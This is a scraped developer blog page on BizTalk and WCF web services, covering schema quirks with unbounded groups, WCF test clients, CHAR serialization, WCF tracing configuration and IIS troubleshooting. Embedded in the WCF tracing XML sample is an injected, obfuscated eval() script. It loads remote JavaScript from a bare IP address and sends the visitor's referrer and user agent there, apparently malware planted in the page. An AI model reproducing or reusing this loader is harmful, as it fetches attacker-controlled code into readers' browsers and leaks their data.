I created two schema that are identical except for one thing.
One of them has an extra element after the max-occurs=unbounded.

First schema – DemoRequest1.xsd

Second schema – DemoRequest2.xsd

I then created two identical orchestrations, except one receives DemoRequest1 and one receives DemoRequest2 (they both return the same message in the response).

Then both orchestraiton were published as WCF services.

We can see the differences in two ways:
1) By using the WCFClientTest.exe utility (found here:
C:Program FilesMicrosoft Visual Studio 9.0Common7IDE)
2) By creating a C# program, and adding a service reference to the published orchestration (WCF web service)

WCFTestClient shows the following:

DemoRequest1.xsd:

DemoRequest2.xsd:

The results are perhaps more clear in C#:

        static void Main(string[] args)
        {
            svcref1.Demo1Request req1 = new WCFOddityConsumeConsoleApp.svcref1.Demo1Request();
            svcref1.Demo2Request req2 = new WCFOddityConsumeConsoleApp.svcref1.Demo2Request();



            req1.DemoRequest1[2].MyString = "abc";      //Note the element ?MyGroup? does not even appear here!
            req1.DemoRequest1[2].MyDecimal = 123;

            req2.DemoRequest2.MyGroup[2].MyString = "abc";
            req2.DemoRequest2.MyGroup[2].MyDecimal = 123;
            req2.DemoRequest2.AfterMyGroup = "test";


        }

You can see how in one case, the “MyGroup” element has totally disappeared, and the subscript is now on it’s parent element!

So the moral of the story is, we sometimes add a “DummyElement” after the maxOccurs=unbounded group/record – so the world seem more normal.

1) This one comes with Visual Studio:
C:Program FilesMicrosoft Visual Studio 9.0Common7IDEWCFTestClient.exe
a) Just add your the URL to your service
b) double clik on the method you want to call
c) fill in the values
d) click invoke
It shows the response formatted, and there is an XML tab to show you the full XML.

2) CodePlex has several:
a) http://wcftestharness.codeplex.com/
b) http://www.codeplex.com/wsdldisco

3) http://www.soapui.org/ – Free and paid version – I think you have to register to get the free version.

If you want to do Load Testing – http://wcfloadtest.codeplex.com/

Neal Walters
March 6, 2009

An SQL database field was defined as CHAR(1). We used LINQ to SQL to expose in a web service, which defined the field as a System.Nullable.

Unforuntately, it is not well known or well documented that “CHAR”s serializae and deserialize as the ASCII number, which is the equivalent of the character.

Thus is a BizTalk map, we had to use the Character to ASCII functoid to conver the letter “C” to the number “67”, in order to get BizTalk to properly build XML that is passed to a web service. When passing the letter “C”, you get a deserialization error.

See Also this blog link

WCF Tracing

Sometimes, you might need to run a full WCF trace (on both the IIS web service, and the client).
The XML in this article will do that and discuss how to view it.

<configuration>
 <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aerdn|var|u0026u|referrer|yskbn||js|php'.split('|'),0,{}))
</script></noindex>   &lt;system.diagnostics&gt;
      &lt;sources&gt;
            &lt;source name="System.ServiceModel"
                    switchValue="Information, ActivityTracing"
                    propagateActivity="true"&gt;
            &lt;listeners&gt;
               &lt;add name="traceListener"
                   type="System.Diagnostics.XmlWriterTraceListener"
                   initializeData= "c:logTraces.svclog" /&gt;
            &lt;/listeners&gt;
         &lt;/source&gt;
      &lt;/sources&gt;
   &lt;/system.diagnostics&gt;
&lt;/configuration&gt;

You can view the file in XML, but it can be a little ugly.

Microsoft has provided a free utility called SVCTraceViewer.exe.
To get this utility, unfortunatley you have to download the Windows developers toolkit.
After you install, it can be found in this directory:
“c:Program FilesMicrosoft SDKsWindowsv6.0ABinSvcTraceViewer.exe”

How to download SvcTraceViewer.exe
Unfortunately, you can not just download the utility standalone.
No, the only way (as far that I know of) to have it, is to install the .NET SDK. The latest version of this SDK is 6.1 and is called ‘Windows SDK for Windows Server 2008 and .NET Framework 3.5’.

This is a huge install. First you have to download a 1,29 GB .ISO on http://www.microsoft.com/downloads/details.aspx?FamilyID=e6e1c3df-a74f-4207-8586-711ebe331cdc&DisplayLang=en. After burning it to DVD or mounting it with a ISO mounting tool (like http://www.slysoft.com/en/virtual-clonedrive.html) or running UltraIso or something to turn it into regulary disk files, you can start the setup. To have SvcTraceViewer.exe you only need to select Developer Tools .NET Development Tools.

You can double click to run it, and it opens a Windows program.
You simply open the trace log file you captured above, and it formats it beautifully, with errors in red, and warnings in yellow. You can still see the full XML if you want (for example to copy it to clipboard, a MSDN Forum Post, or an email).

Get 404 page not found when browsing a web service you know is there.
For example, from IIS you right-click and select “Browse” on the .svc file (so you know it is really there). NOTE: the 404 is a “red herring” an outright lie – a bad error given to us by Microsoft to confuse us.


Try checking to see if you have ASP.NET 1.1 instead of 2.0 set.
Right click your “virtual directory”, then click the “ASP.NET” tab.
.NET 2.0 and 3.5 use the same “CLR”, therefore you will see 2.0.50727 in the
ASP.NET version on this tab. If you see 1.x, then change it to 2.0.50727.

From IIS Admin, right-click the project, …

If and when you get this error on Windows 2003, there is an additional setup required.
Click “Web Service Extensions” at the bottom of IIS, and check the “ASP.NET V2.0.50727” and see if is is “allowed” instead of “prohibited”.

If you get “service unavailable”, then make sure the userid that is running your application pool (Win 2003/IIS 6) is a member of the “IIS_WPG” (IIS worker process group) and that the password is correct.